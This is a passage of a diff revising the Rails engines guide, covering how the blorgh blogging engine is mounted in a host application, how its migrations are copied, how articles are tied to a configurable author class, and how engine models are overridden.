+$ bin/rails generate controller comments
 ```
 
 This will generate the following things:
@@ -572,19 +777,15 @@ invoke  test_unit
 create    test/controllers/blorgh/comments_controller_test.rb
 invoke  helper
 create    app/helpers/blorgh/comments_helper.rb
-invoke  assets
-invoke    js
-create      app/assets/javascripts/blorgh/comments.js
-invoke    css
-create      app/assets/stylesheets/blorgh/comments.css
+invoke    test_unit
 ```
 
-The form will be making a `POST` request to `/articles/:article_id/comments`, which
-will correspond with the `create` action in `Blorgh::CommentsController`. This
-action needs to be created, which can be done by putting the following lines
-inside the class definition in `app/controllers/blorgh/comments_controller.rb`:
+As mentioned, the form will make a `POST` request to
+`/articles/:article_id/comments`, so we'll need a `create` action in
+`Blorgh::CommentsController`:
 
 ```ruby
+# app/controllers/blorgh/comments_controller.rb
 def create
   @article = Article.find(params[:article_id])
   @comment = @article.comments.create(comment_params)
@@ -594,30 +795,25 @@ end
 
 private
   def comment_params
-    params.require(:comment).permit(:text)
+    params.expect(comment: [:text])
   end
 ```
 
-This is the final step required to get the new comment form working. Displaying
-the comments, however, is not quite right yet. If you were to create a comment
-right now, you would see this error:
+However, if you were to create a comment, you would see an error where the
+engine is unable to find the partial required for rendering the comments:
 
 ```
-Missing partial blorgh/comments/_comment with {:handlers=>[:erb, :builder],
-:formats=>[:html], :locale=>[:en, :en]}. Searched in:   *
-"/Users/ryan/Sites/side_projects/blorgh/test/dummy/app/views"   *
-"/Users/ryan/Sites/side_projects/blorgh/app/views"
+Missing partial blorgh/comments/_comment with {:locale=>[:en], :formats=>[:html], :variants=>[], :handlers=>[:raw, :erb, :html, :builder, :ruby]}.
 ```
 
-The engine is unable to find the partial required for rendering the comments.
-Rails looks first in the application's (`test/dummy`) `app/views` directory and
-then in the engine's `app/views` directory. When it can't find it, it will throw
-this error. The engine knows to look for `blorgh/comments/_comment` because the
-model object it is receiving is from the `Blorgh::Comment` class.
+NOTE: Rails will first look in the application's (`test/dummy`) `app/views`
+directory and then in the engine's `app/views` directory. When it can't find the
+file, it will throw this error. The engine looks for `blorgh/comments/_comment`
+because the comment object it's rendering is an instance of the
+`Blorgh::Comment` class.
 
-This partial will be responsible for rendering just the comment text, for now.
-Create a new file at `app/views/blorgh/comments/_comment.html.erb` and put this
-line inside it:
+Create a new file at `app/views/blorgh/comments/_comment.html.erb` and add the
+following line to display the comment text:
 
 ```erb
 <%= comment_counter + 1 %>. <%= comment.text %>
@@ -628,373 +824,510 @@ The `comment_counter` local variable is given to us by the `<%= render
 counter as it iterates through each comment. It's used in this example to
 display a small number next to each comment when it's created.
 
-That completes the comment function of the blogging engine. Now it's time to use
-it within an application.
+That completes the comment functionality of the blogging engine. Now it's time
+to use it within an application.
 
-Hooking Into an Application
----------------------------
+Using the Engine in a Host Application
+--------------------------------------
 
-Using an engine within an application is very easy. This section covers how to
-mount the engine into an application and the initial setup required, as well as
-linking the engine to a `User` class provided by the application to provide
-ownership for articles and comments within the engine.
+This section explains how to mount the engine into an application, perform the
+initial setup, and connect the engine to an existing class defined by the host
+application.
 
 ### Mounting the Engine
 
-First, the engine needs to be specified inside the application's `Gemfile`. If
-there isn't an application handy to test this out in, generate one using the
-`rails new` command outside of the engine directory like this:
+To use the engine in a host application, add it to the application's `Gemfile`.
+If you don't already have an application to test with, you can generate one
+outside the engine directory using the `rails new` command:
+
+```bash
+$ cd .. # Exit the engine folder
+$ rails new host_application
+```
+
+This means the host application and the engine will live side by side in your
+filesystem, like this:
 
 ```bash
-$ rails new unicorn
+/your_project_root/
+├── blorgh/           # The engine
+└── host_application/ # The app where you test the engine
 ```
 
-Usually, specifying the engine inside the Gemfile would be done by specifying it
-as a normal, everyday gem.
+In a production application, once your gem has been published, you would add the
+engine to your Gemfile, like you do with other gems. For example, to add Devise
+to your application, you would add the following line to your Gemfile:
 
 ```ruby
-gem 'devise'
+gem "devise"
 ```
 
-However, because you are developing the `blorgh` engine on your local machine,
-you will need to specify the `:path` option in your `Gemfile`:
+However, since the engine is not published as a gem yet, and you're developing
+it locally, you need to link to it using a relative path in the host
+application's Gemfile:
 
 ```ruby
-gem 'blorgh', path: 'engines/blorgh'
+gem "blorgh", path: "../blorgh"
 ```
 
-Then run `bundle` to install the gem.
+Now that the local path to the gem is specified, run `bundle install` to install
+it.
 
-As described earlier, by placing the gem in the `Gemfile` it will be loaded when
-Rails is loaded. It will first require `lib/blorgh.rb` from the engine, then
-`lib/blorgh/engine.rb`, which is the file that defines the major pieces of
-functionality for the engine.
+NOTE: By including the engine in the application's `Gemfile`, it will be loaded
+automatically when Rails boots. Rails will first require the engine’s entry
+point file at `lib/blorgh.rb`. This file typically sets up the namespace and
+requires additional files, including `lib/blorgh/engine.rb`, which defines the
+`Blorgh::Engine` class. This `Engine` class is responsible for hooking into the
+Rails application and mounting the engine's initializers, and other
+configurations.
 
-To make the engine's functionality accessible from within an application, it
-needs to be mounted in that application's `config/routes.rb` file:
+To make the engine's functionality available within a host application, you need
+to mount it in the application's `config/routes.rb` file:
 
 ```ruby
 mount Blorgh::Engine, at: "/blog"
 ```
 
-This line will mount the engine at `/blog` in the application. Making it
-accessible at `http://localhost:3000/blog` when the application runs with `rails
-server`.
+This mounts the engine at the `/blog` path, making its routes accessible at
+`http://localhost:3000/blog` when the application is running.
 
-NOTE: Other engines, such as Devise, handle this a little differently by making
-you specify custom helpers (such as `devise_for`) in the routes. These helpers
-do exactly the same thing, mounting pieces of the engines's functionality at a
-pre-defined path which may be customizable.
+NOTE: Some engines, like Devise, expose custom routing helpers (such as
+`devise_for`) instead of using `mount`. These helpers internally mount parts of
+the engine's functionality at specific paths and provide additional
+configuration options tailored to the engine's domain.
 
-### Engine setup
+However, if you try to run the application at this point, you will see an error
+like this:
+
+```bash
+SQLite3::SQLException: no such table: blorgh_articles:
+SELECT "blorgh_articles".* FROM "blorgh_articles" /*action='index',application='HostApplication',controller='articles'*/
+```
+
+This is because the engine's migrations haven't been copied over to the host
+application's database yet. The next section explains how to do this.
+
+### Engine Setup
 
 The engine contains migrations for the `blorgh_articles` and `blorgh_comments`
-table which need to be created in the application's database so that the
-engine's models can query them correctly. To copy these migrations into the
-application run the following command from the `test/dummy` directory of your Rails engine:
+tables which need to be created in the application's database so that the
+engine's models can query them correctly.
+
+#### Copying the Migrations
+
+To copy these migrations into the application run the following command from the
+application's root:
 
 ```bash
 $ bin/rails blorgh:install:migrations
 ```
 
-If you have multiple engines that need migrations copied over, use
-`railties:install:migrations` instead:
+which will output something like this:
+
+```
+Copied migration <timestamp_1>_create_blorgh_articles.blorgh.rb from blorgh
+Copied migration <timestamp_2>_create_blorgh_comments.blorgh.rb from blorgh
+```
+
+INFO: When run for the first time, `bin/rails blorgh:install:migrations` copies
+over all the migrations from the engine. When run the next time, it will only
+copy over migrations that haven't been copied over already. This is useful if
+you want to revert the migrations from the engine.
+
+#### Migrations for Multiple Engines
+
+If you have multiple engines referenced in the host application, that need
+migrations copied over, use `railties:install:migrations` instead:
 
 ```bash
 $ bin/rails railties:install:migrations
 ```
 
-This command, when run for the first time, will copy over all the migrations
-from the engine. When run the next time, it will only copy over migrations that
-haven't been copied over already. The first run for this command will output
-something such as this:
+This will save you from having to run a separate `install:migrations` task for
+each engine individually.
+
+#### Referencing a Custom Path for the Migrations
+
+If your engine stores its migrations in the non-default location, you can
+specify a custom path in the source engine for the migrations using
+`MIGRATIONS_PATH`:
 
 ```bash
-Copied migration [timestamp_1]_create_blorgh_articles.blorgh.rb from blorgh
-Copied migration [timestamp_2]_create_blorgh_comments.blorgh.rb from blorgh
+$ bin/rails railties:install:migrations MIGRATIONS_PATH=db_blorgh
 ```
 
-The first timestamp (`[timestamp_1]`) will be the current time, and the second
-timestamp (`[timestamp_2]`) will be the current time plus a second. The reason
-for this is so that the migrations for the engine are run after any existing
-migrations in the application.
+#### Migrations for Multiple Databases
 
-To run these migrations within the context of the application, simply run `bin/rails
-db:migrate`. When accessing the engine through `http://localhost:3000/blog`, the
-articles will be empty. This is because the table created inside the application is
-different from the one created within the engine. Go ahead, play around with the
-newly mounted engine. You'll find that it's the same as when it was only an
-engine.
+If you have multiple databases within an engine, you can specify the target
+database by specifying the `DATABASE` option:
+
+```bash
+$ bin/rails railties:install:migrations DATABASE=animals
+```
+
+NOTE: These tasks are provided by
+[`ActiveRecord::Railtie`](https://api.rubyonrails.org/classes/Rails/Railtie.html),
+the Rails component responsible for managing how Active Record integrates into
+an application. When run, it looks through all loaded engines and copies any
+exposed migrations into the host application's `db/migrate` folder, saving you
+from having to run a separate `install:migrations` task for each engine
+individually.
+
+#### Running Migrations
+
+To run these migrations within the context of the application, run:
+
+```bash
+$ bin/rails db:migrate
+```
+
+#### Running and Reverting Migrations for Only One Engine
 
-If you would like to run migrations only from one engine, you can do it by
-specifying `SCOPE`:
+If you have multiple engines referenced in the host application, and you would
+like to run migrations only from one engine, you can do it by specifying
+`SCOPE`:
 
 ```bash
-bin/rails db:migrate SCOPE=blorgh
+$ bin/rails db:migrate SCOPE=blorgh
 ```
 
-This may be useful if you want to revert engine's migrations before removing it.
+This scope may also be useful if you want to revert an engine's migrations
+before removing it.
+
 To revert all migrations from blorgh engine you can run code such as:
 
 ```bash
-bin/rails db:migrate SCOPE=blorgh VERSION=0
+$ bin/rails db:migrate SCOPE=blorgh VERSION=0
 ```
 
-### Using a Class Provided by the Application
+Once you've run the migrations, you can access the engine through
+`http://localhost:3000/blog`.
+
+The articles will be empty, because the table created inside the application is
+different from the one created within the engine. You can explore the engine
+through the host application, in the same way as you did when it was only an
+engine.
 
-#### Using a Model Provided by the Application
+### Connecting Engine Records to Application Models
 
-When an engine is created, it may want to use specific classes from an
-application to provide links between the pieces of the engine and the pieces of
-the application. In the case of the `blorgh` engine, making articles and comments
-have authors would make a lot of sense.
+When building a Rails engine, you may want to connect the engine's records to
+models defined by the host application. For example, in the blorgh engine, you
+might want each `article` or `comment` to have an associated `author`. While the
+engine sets up the `author` relationship, the actual model, `User` in this case,
+comes from the host application.
 
-A typical application might have a `User` class that would be used to represent
-authors for an article or a comment. But there could be a case where the
+This section explains how to associate an `Article` from the engine with a
+`User` from the host application. For simplicity, assume the host application
+uses a model called `User`, but there could be a case where a different host
 application calls this class something different, such as `Person`. For this
 reason, the engine should not hardcode associations specifically for a `User`
-class.
+class. Instead, it should be configurable. This is covered in the [next
+section](#configuring-the-engine-to-use-a-custom-class).
+
+
+#### Generating a User Model in the Host Application
 
 To keep it simple in this case, the application will have a class called `User`
-that represents the users of the application (we'll get into making this
-configurable further on). It can be generated using this command inside the
-application:
+that represents the users of the application. It can be generated using this
+command inside the application's root directory:
 
 ```bash
-rails g model user name:string
+$ bin/rails generate model user name:string
 ```
 
 The `bin/rails db:migrate` command needs to be run here to ensure that our
 application has the `users` table for future use.
 
-Also, to keep it simple, the articles form will have a new text field called
-`author_name`, where users can elect to put their name. The engine will then
-take this name and either create a new `User` object from it, or find one that
-already has that name. The engine will then associate the article with the found or
-created `User` object.
+#### Associating `author_name` from the Engine to a Class in the Host Application
+
+The article form will include a new text field called `author_name`, where users
+can enter their name. The engine will use this name to either find an existing
+`User` object or create a new one. It will then associate the article with that
+`User` (or whatever class the host application uses to represent authors) as the
+article's author.
+
+Add the `author_name` text field to the
+`app/views/blorgh/articles/_form.html.erb` partial inside the engine. This can
+be added above the `title` field with the following code:
+
+```html+erb
+<%= form_with(model: article) do |form| %>
+  <%# ... %>
+
+  <div class="field">
+    <%= form.label :author_name %><br>
+    <%= form.text_field :author_name %>
+  </div>
+
+  <div>
+    <%= form.label :title, style: "display: block" %>
+    <%= form.text_field :title %>
+  </div>
+  <%# ... %>
+<% end %>
+```
 
-First, the `author_name` text field needs to be added to the
-`app/views/blorgh/articles/_form.html.erb` partial inside the engine. This can be
-added above the `title` field with this code:
+The author's name should also be displayed on the article's page. Add this code
+above the "Title" output inside `app/views/blorgh/articles/_article.html.erb`:
 
 ```html+erb
-<div class="field">
-  <%= f.label :author_name %><br>
-  <%= f.text_field :author_name %>
-</div>
+<p>
+  <strong>Author:</strong>
+  <%= article.author.name %>
+</p>
 ```
 
-Next, we need to update our `Blorgh::ArticleController#article_params` method to
-permit the new form parameter:
+Next, we need to update the `Blorgh::ArticlesController#article_params` method
+to permit the new form parameter:
 
 ```ruby
 def article_params
-  params.require(:article).permit(:title, :text, :author_name)
+  params.expect(article: [:title, :text, :author_name])
 end
 ```
 
-The `Blorgh::Article` model should then have some code to convert the `author_name`
-field into an actual `User` object and associate it as that article's `author`
-before the article is saved. It will also need to have an `attr_accessor` set up
-for this field, so that the setter and getter methods are defined for it.
+The `Blorgh::Article` model should include logic to convert the `author_name`
+field into an actual `User` object (or whatever class the host application uses
+for authors) and associate it with the article before it is saved. It should
+also define an `attr_accessor` for `author_name` to provide getter and setter
+methods for this attribute.
 
-To do all this, you'll need to add the `attr_accessor` for `author_name`, the
-association for the author and the `before_validation` call into
-`app/models/blorgh/article.rb`. The `author` association will be hard-coded to the
-`User` class for the time being.
+Start by adding the `attr_accessor` for `author_name`, the association for the
+author and the `before_validation` call into `app/models/blorgh/article.rb`.
 
-```ruby
-attr_accessor :author_name
-belongs_to :author, class_name: "User"
+```ruby#7-10
+# app/models/blorgh/article.rb
+module Blorgh
+  class Article < ApplicationRecord
+    has_many :comments
+
+    # Add the author association to the model
+    attr_accessor :author_name
+    belongs_to :author, class_name: "User" # The User class exists in the host application
 
-before_validation :set_author
+    before_validation :set_author
 
-private
-  def set_author
-    self.author = User.find_or_create_by(name: author_name)
+    private
+      def set_author
+        self.author = User.find_or_create_by(name: author_name)
+      end
   end
+end
 ```
 
-By representing the `author` association's object with the `User` class, a link
-is established between the engine and the application. There needs to be a way
-of associating the records in the `blorgh_articles` table with the records in the
-`users` table. Because the association is called `author`, there should be an
-`author_id` column added to the `blorgh_articles` table.
+For now, this setup allows the engine to associate an author name with the
+`User` model defined by the host application, even though it introduces a
+coupling that will be removed later. It will be made more configurable in the
+[next section](#configuring-the-engine-to-use-a-custom-class).
+
+There also needs to be a way of associating the records in the `blorgh_articles`
+table with the records in the `users` table. Because the association in the
+engine is called `author`, there should be an `author_id` column added to the
+`blorgh_articles` table.
 
-To generate this new column, run this command within the engine:
+To generate this new column, run this command within the engine's root
+directory:
 
 ```bash
-$ bin/rails g migration add_author_id_to_blorgh_articles author_id:integer
+$ bin/rails generate migration add_author_id_to_blorgh_articles author_id:integer
 ```
 
-NOTE: Due to the migration's name and the column specification after it, Rails
-will automatically know that you want to add a column to a specific table and
-write that into the migration for you. You don't need to tell it any more than
-this.
+#### Copying and Running the Migration in the Host Application
 
-This migration will need to be run on the application. To do that, it must first
-be copied using this command:
+As discussed in the [Copying the Migrations](#copying-the-migrations) section,
+this new migration will need to be copied to the host application:
 
 ```bash
 $ bin/rails blorgh:install:migrations
 ```
 
-Notice that only _one_ migration was copied over here. This is because the first
-two migrations were copied over the first time this command was run.
-
 ```
-NOTE Migration [timestamp]_create_blorgh_articles.blorgh.rb from blorgh has been skipped. Migration with the same name already exists.
-NOTE Migration [timestamp]_create_blorgh_comments.blorgh.rb from blorgh has been skipped. Migration with the same name already exists.
-Copied migration [timestamp]_add_author_id_to_blorgh_articles.blorgh.rb from blorgh
+Copied migration <timestamp>_add_author_id_to_blorgh_articles.blorgh.rb from blorgh
 ```
 
+Notice that only _the latest_ migration was copied over. This is because the
+first two migrations were copied over the first time this command was run in a
+[previous section](#copying-the-migrations).
+
 Run the migration using:
 
 ```bash
 $ bin/rails db:migrate
 ```
 
-Now with all the pieces in place, an action will take place that will associate
-an author - represented by a record in the `users` table - with an article,
-represented by the `blorgh_articles` table from the engine.
+#### Viewing the Association in the Rails console
 
-Finally, the author's name should be displayed on the article's page. Add this code
-above the "Title" output inside `app/views/blorgh/articles/show.html.erb`:
+Now that you've associated the `author_name` from the engine to the `User` model
+in the host application, you can go to the form in the host application at
+`http://localhost:3000/blog/articles/new` and create an article with an author
+name that will create and link to a `User` record in the host application.
 
-```html+erb
-<p>
-  <b>Author:</b>
-  <%= @article.author.name %>
-</p>
+If you open up the rails console in the host application, you can view the
+`Blorgh::Article` record that was created, and see that it is associated with
+the `User` record from the host application:
+
+```irb
+irb> article = Blorgh::Article.last
+=> #<Blorgh::Article id: 1, title: "Hello, World!", text: "This is a test article.", created_at: "2025-07-16 19:04:54.552457000 +0000", updated_at: "2025-07-16 19:04:54.552457000 +0000", author_id: 1>
+
+irb> user = article.author
+=> #<User id: 1, name: "Fake Author 1", created_at: "2025-07-16 19:04:54.542709000 +0000", updated_at: "2025-07-16 19:04:54.542709000 +0000">
 ```
 
 #### Using a Controller Provided by the Application
 
-Because Rails controllers generally share code for things like authentication
-and accessing session variables, they inherit from `ApplicationController` by
-default. Rails engines, however are scoped to run independently from the main
-application, so each engine gets a scoped `ApplicationController`. This
-namespace prevents code collisions, but often engine controllers need to access
-methods in the main application's `ApplicationController`. An easy way to
-provide this access is to change the engine's scoped `ApplicationController` to
-inherit from the main application's `ApplicationController`. For our Blorgh
-engine this would be done by changing
-`app/controllers/blorgh/application_controller.rb` to look like:
+In a typical Rails application, all controllers inherit from
+`ApplicationController`, which often contains shared logic like authentication
+methods or session helpers.
+
+Rails engines, however, are isolated by default. Each engine has its own
+`ApplicationController` (like `Blorgh::ApplicationController`) to avoid
+conflicts with the main app. However, sometimes, the engine's controllers need
+to access methods defined in the main application's `ApplicationController`.
+This is often necessary for features like authentication (`current_user`),
+authorization checks, or helper methods that manage things like user
+preferences, flash messages, or layout logic. This is shared functionality
+that's already defined in the main application and shouldn't be re-implemented
+in the engine.
+
+To make this possible, you can update the engine’s `ApplicationController` so
+that it inherits from the main app’s `ApplicationController` instead of being
+isolated. In the Blorgh engine, you would change the file
+`app/controllers/blorgh/application_controller.rb` to:
 
 ```ruby
+# app/controllers/blorgh/application_controller.rb
 module Blorgh
   class ApplicationController < ::ApplicationController
   end
 end
 ```
 
-By default, the engine's controllers inherit from
-`Blorgh::ApplicationController`. So, after making this change they will have
-access to the main application's `ApplicationController`, as though they were
-part of the main application.
+The `::ApplicationController` here refers to the main application's controller.
+With this change, all controllers in the engine (which inherit from
+`Blorgh::ApplicationController` by default) will now also have access to methods
+from the main app’s controller, like `current_user`, authentication helpers, or
+anything else defined there.
+
+Keep in mind that this setup only works when the engine is being used inside a
+host application that has its own `ApplicationController`.
 
-This change does require that the engine is run from a Rails application that
-has an `ApplicationController`.
+### Configuring the Engine to Use a Custom Class
 
-### Configuring an Engine
+Earlier, we hard-coded the author association to the `User` class. However, this
+approach isn't ideal, because the engine shouldn't assume the existence of a
+specific class in the host application. For example, some applications might use
+a differently named class, such as `Person`, to represent authors.
 
-This section covers how to make the `User` class configurable, followed by
-general configuration tips for the engine.
+In this section we'll make the class that represents a `User` in the application
+customizable for the engine, allowing the engine to work with any model the host
+application chooses to use. This will be followed by general configuration tips
+for the engine.
 
-#### Setting Configuration Settings in the Application
+#### Creating the `author_class_name` Configuration Setting in the Engine
 
-The next step is to make the class that represents a `User` in the application
-customizable for the engine. This is because that class may not always be
-`User`, as previously explained. To make this setting customizable, the engine
-will have a configuration setting called `author_class` that will be used to
-specify which class represents users inside the application.
+To make the class that represents a `User` in the application customizable for
+the engine, the engine should have a configuration setting called
+`author_class_name` that will be used to specify which class name represents
+`authors` within the host application.
 
-To define this configuration setting, you should use a `mattr_accessor` inside
-the `Blorgh` module for the engine. Add this line to `lib/blorgh.rb` inside the
-engine:
+To define this configuration setting, you should use a
+[`mattr_accessor`](https://api.rubyonrails.org/classes/Module.html#method-i-mattr_accessor)
+inside the `Blorgh` module for the engine. Add this line to the `Blorgh` module:
 
 ```ruby
-mattr_accessor :author_class
+# lib/blorgh.rb
+module Blorgh
+  mattr_accessor :author_class_name
+end
 ```
 
-This method works like its brothers, `attr_accessor` and `cattr_accessor`, but
-provides a setter and getter method on the module with the specified name. To
-use it, it must be referenced using `Blorgh.author_class`.
+This method provides a getter and setter method on the module with the specified
+name. To use it, it must be referenced using `Blorgh.author_class_name`.
 
 The next step is to switch the `Blorgh::Article` model over to this new setting.
-Change the `belongs_to` association inside this model
-(`app/models/blorgh/article.rb`) to this:
+Replace `belongs_to :author, class_name: "User"` with `Blorgh.author_class_name`
+in the `Blorgh::Article` model:
 
 ```ruby
-belongs_to :author, class_name: Blorgh.author_class
+# app/models/blorgh/article.rb
+belongs_to :author, class_name: Blorgh.author_class_name
 ```
 
-The `set_author` method in the `Blorgh::Article` model should also use this class:
+The line `self.author = User.find_or_create_by(name: author_name)` in the
+`Blorgh::Article` model should also use this class name instead of `User`:
 
 ```ruby
-self.author = Blorgh.author_class.constantize.find_or_create_by(name: author_name)
+# app/models/blorgh/article.rb
+
+def set_author
+  self.author = Blorgh.author_class_name.constantize.find_or_create_by(name: author_name)
+end
 ```
 
-To save having to call `constantize` on the `author_class` result all the time,
-you could instead just override the `author_class` getter method inside the
-`Blorgh` module in the `lib/blorgh.rb` file to always call `constantize` on the
-saved value before returning the result:
+To save having to call `constantize` on the `author_class_name` result all the
+time, you could create a convenience helper to `constantize` on demand when you
+need the Class.
 
 ```ruby
-def self.author_class
-  @@author_class.constantize
+# lib/blorgh.rb
+module Blorgh
+  mattr_accessor :author_class_name
+
+  def self.author_class
+    author_class_name.constantize
+  end
 end
 ```
 
 This would then turn the above code for `set_author` into this:
 
 ```ruby
+# app/models/blorgh/article.rb
 self.author = Blorgh.author_class.find_or_create_by(name: author_name)
 ```
 
-Resulting in something a little shorter, and more implicit in its behavior. The
-`author_class` method should always return a `Class` object.
+#### Setting the `author_class_name` Configuration Setting in the Host Application
 
-Since we changed the `author_class` method to return a `Class` instead of a
-`String`, we must also modify our `belongs_to` definition in the `Blorgh::Article`
-model:
-
-```ruby
-belongs_to :author, class_name: Blorgh.author_class.to_s
-```
+To set this configuration setting within the host application, an initializer
+can be used. By using an initializer, the configuration will be set up before
+the application starts and before it calls the engine's models. This is
+important because the engine's models may depend on this configuration setting
+existing.
 
-To set this configuration setting within the application, an initializer should
-be used. By using an initializer, the configuration will be set up before the
-application starts and calls the engine's models, which may depend on this
-configuration setting existing.
-
-Create a new initializer at `config/initializers/blorgh.rb` inside the
-application where the `blorgh` engine is installed and put this content in it:
+Create a new initializer at `config/initializers/blorgh.rb` inside the host
+application and set the `author_class_name` configuration setting to `User`:
 
 ```ruby
-Blorgh.author_class = "User"
+Blorgh.author_class_name = "User"
 ```
 
-WARNING: It's very important here to use the `String` version of the class,
-rather than the class itself. If you were to use the class, Rails would attempt
-to load that class and then reference the related table. This could lead to
-problems if the table wasn't already existing. Therefore, a `String` should be
-used and then converted to a class using `constantize` in the engine later on.
+In a different host application where the model is called `Person`, you would
+set the `author_class_name` configuration setting to `Person`.
+
+WARNING: Be sure to pass the class name as a string (e.g., `"User"`), not as a
+constant (`User`). If you use the class directly, Rails may try to load it and
+its associated table before the application has fully initialized. This can
+cause errors if the table hasn't been created yet. By using a string, the engine
+can safely convert it to a class later using `constantize`, after initialization
+is complete.
 
-Go ahead and try to create a new article. You will see that it works exactly in the
-same way as before, except this time the engine is using the configuration
-setting in `config/initializers/blorgh.rb` to learn what the class is.
+Try creating a new article - everything should work just as before. The key
+difference is that the engine now uses the `author_class_name` configuration set
+in `config/initializers/blorgh.rb` to determine which model to associate as the
+author.
 
-There are now no strict dependencies on what the class is, only what the API for
-the class must be. The engine simply requires this class to define a
-`find_or_create_by` method which returns an object of that class, to be
-associated with an article when it's created. This object, of course, should have
-some sort of identifier by which it can be referenced.
+At this point, the engine no longer has a hardcoded dependency on a specific
+class name like `User`. Instead, it relies on whatever class name is specified
+in the configuration. The only requirement is that the configured class name is
+a class that responds to `find_or_create_by` and returns an object that can be
+associated with an article. That object should also have an identifiable
+attribute (such as an `id`) that can be used for lookup and display.
 
 #### General Engine Configuration
 
 Within an engine, there may come a time where you wish to use things such as
-initializers, internationalization or other configuration options. The great
+initializers, internationalization, or other configuration options. The great
 news is that these things are entirely possible, because a Rails engine shares
 much the same functionality as a Rails application. In fact, a Rails
 application's functionality is actually a superset of what is provided by
@@ -1003,208 +1336,130 @@ engines!
 If you wish to use an initializer - code that should run before the engine is
 loaded - the place for it is the `config/initializers` folder. This directory's
 functionality is explained in the [Initializers
-section](configuring.html#initializers) of the Configuring guide, and works
-precisely the same way as the `config/initializers` directory inside an
-application. The same thing goes if you want to use a standard initializer.
+section](configuring.html#initializers) of the Configuring Rails Applications
+guide, and works precisely the same way as the `config/initializers` directory
+inside an application. The same thing goes if you want to use a standard
+initializer.
 
-For locales, simply place the locale files in the `config/locales` directory,
+For locales, simply place the [locale files in the `config/locales` directory](i18n.html#providing-translations-for-internationalized-strings),
 just like you would in an application.
 
-Testing an engine
------------------
-
-When an engine is generated, there is a smaller dummy application created inside
-it at `test/dummy`. This application is used as a mounting point for the engine,
-to make testing the engine extremely simple. You may extend this application by
-generating controllers, models or views from within the directory, and then use
-those to test your engine.
-
-The `test` directory should be treated like a typical Rails testing environment,
-allowing for unit, functional and integration tests.
-
-### Functional Tests
-
-A matter worth taking into consideration when writing functional tests is that
-the tests are going to be running on an application - the `test/dummy`
-application - rather than your engine. This is due to the setup of the testing
-environment; an engine needs an application as a host for testing its main
-functionality, especially controllers. This means that if you were to make a
-typical `GET` to a controller in a controller's functional test like this:
-
-```ruby
-module Blorgh
-  class FooControllerTest < ActionDispatch::IntegrationTest
-    include Engine.routes.url_helpers
-
-    def test_index
-      get foos_url
-      ...
-    end
-  end
-end
-```
-
-It may not function correctly. This is because the application doesn't know how
-to route these requests to the engine unless you explicitly tell it **how**. To
-do this, you must set the `@routes` instance variable to the engine's route set
-in your setup code:
-
-```ruby
-module Blorgh
-  class FooControllerTest < ActionDispatch::IntegrationTest
-    include Engine.routes.url_helpers
-
-    setup do
-      @routes = Engine.routes
-    end
-
-    def test_index
-      get foos_url
-      ...
-    end
-  end
-end
-```
-
-This tells the application that you still want to perform a `GET` request to the
-`index` action of this controller, but you want to use the engine's route to get
-there, rather than the application's one.
-
-This also ensures that the engine's URL helpers will work as expected in your
-tests.
-
-Improving engine functionality
-------------------------------
+Improving the Engine
+--------------------
 
-This section explains how to add and/or override engine MVC functionality in the
+This section explains how to add and/or override engine functionality in the
 main Rails application.
 
 ### Overriding Models and Controllers
 
-Engine model and controller classes can be extended by open classing them in the
-main Rails application (since model and controller classes are just Ruby classes
-that inherit Rails specific functionality). Open classing an Engine class
-redefines it for use in the main application. This is usually implemented by
-using the decorator pattern.
-
-For simple class modifications, use `Class#class_eval`. For complex class
-modifications, consider using `ActiveSupport::Concern`.
-
-#### A note on Decorators and Loading Code
+Engine models and controllers can be reopened and extended by the host
+application to customize or override their behavior. This is useful when the
+host application needs to make changes, such as adding validations to a model or
+adjusting controller logic, without modifying the engine’s source code directly.
 
-Because these decorators are not referenced by your Rails application itself,
-Rails' autoloading system will not kick in and load your decorators. This means
-that you need to require them yourself.
+A common approach is to place override files in a dedicated directory, such as
+`app/overrides`, and manually load them during application initialization. This
+directory is ignored by the Rails autoloader to prevent naming conflicts and to
+prevent unintended constant loading.
 
-Here is some sample code to do this:
+Here’s how you can set this up in the host application:
 
 ```ruby
-# lib/blorgh/engine.rb
-module Blorgh
-  class Engine < ::Rails::Engine
-    isolate_namespace Blorgh
+# config/application.rb
+module HostApplication
+  class Application < Rails::Application
+    # ...
+
+    overrides = Rails.root.join("app/overrides")
+    Rails.autoloaders.main.ignore(overrides)
 
     config.to_prepare do
-      Dir.glob(Rails.root + "app/decorators/**/*_decorator*.rb").each do |c|
-        require_dependency(c)
+      Dir.glob("#{overrides}/**/*_override.rb").sort.each do |override|
+        load override
       end
     end
   end
 end
 ```
 
-This doesn't apply to just Decorators, but anything that you add in an engine
-that isn't referenced by your main application.
-
-#### Implementing Decorator Pattern Using Class#class_eval
+#### Why Use `to_prepare` and `load`
 
-**Adding** `Article#time_since_created`:
+The `to_prepare` block ensures that overrides are reloaded on each request in
+development (and only once in production), which is helpful when working with
+engines during development. Using `load` instead of `require` allows the
+override files to be reloaded without restarting the server.
 
-```ruby
-# MyApp/app/decorators/models/blorgh/article_decorator.rb
+#### Why Ignore Autoloading
 
-Blorgh::Article.class_eval do
-  def time_since_created
-    Time.current - created_at
-  end
-end
-```
+The `app/overrides` directory is ignored by Zeitwerk (Rails’ autoloader) so that
+you can control exactly when the files are loaded. This prevents potential
+conflicts with similarly named classes or modules elsewhere in the application.
 
-```ruby
-# Blorgh/app/models/article.rb
+#### Naming Convention
 
-class Article < ApplicationRecord
-  has_many :comments
-end
-```
+It’s recommended to suffix override files with `_override.rb` (e.g.,
+`article_override.rb`) to clearly distinguish them from standard models and
+controllers and to avoid any conflicts with autoloaded files.
 
+#### Reopening Existing Classes Using `class_eval`
 
-**Overriding** `Article#summary`:
+In order to override the engine model
 
 ```ruby
-# MyApp/app/decorators/models/blorgh/article_decorator.rb
-
-Blorgh::Article.class_eval do
-  def summary
-    "#{title} - #{truncate(text)}"
+# blorgh/app/models/blorgh/article.rb
+module Blorgh
+  class Article < ApplicationRecord
+    # ...
   end
 end
 ```
 
-```ruby
-# Blorgh/app/models/article.rb
+you can create a file that _reopens_ that class. This example reopens the
+`Blorgh::Article` model and adds a validation for the `title` attribute.
 
-class Article < ApplicationRecord
-  has_many :comments
-  def summary
-    "#{title}"
-  end
+```ruby
+# host_application/app/overrides/models/blorgh/article_override.rb
+Blorgh::Article.class_eval do
+  validates :title, presence: true, length: { minimum: 10 }
 end
 ```
 
-#### Implementing Decorator Pattern Using ActiveSupport::Concern
-
-Using `Class#class_eval` is great for simple adjustments, but for more complex
-class modifications, you might want to consider using [`ActiveSupport::Concern`]
-(http://api.rubyonrails.org/classes/ActiveSupport/Concern.html).
-ActiveSupport::Concern manages load order of interlinked dependent modules and
-classes at run time allowing you to significantly modularize your code.
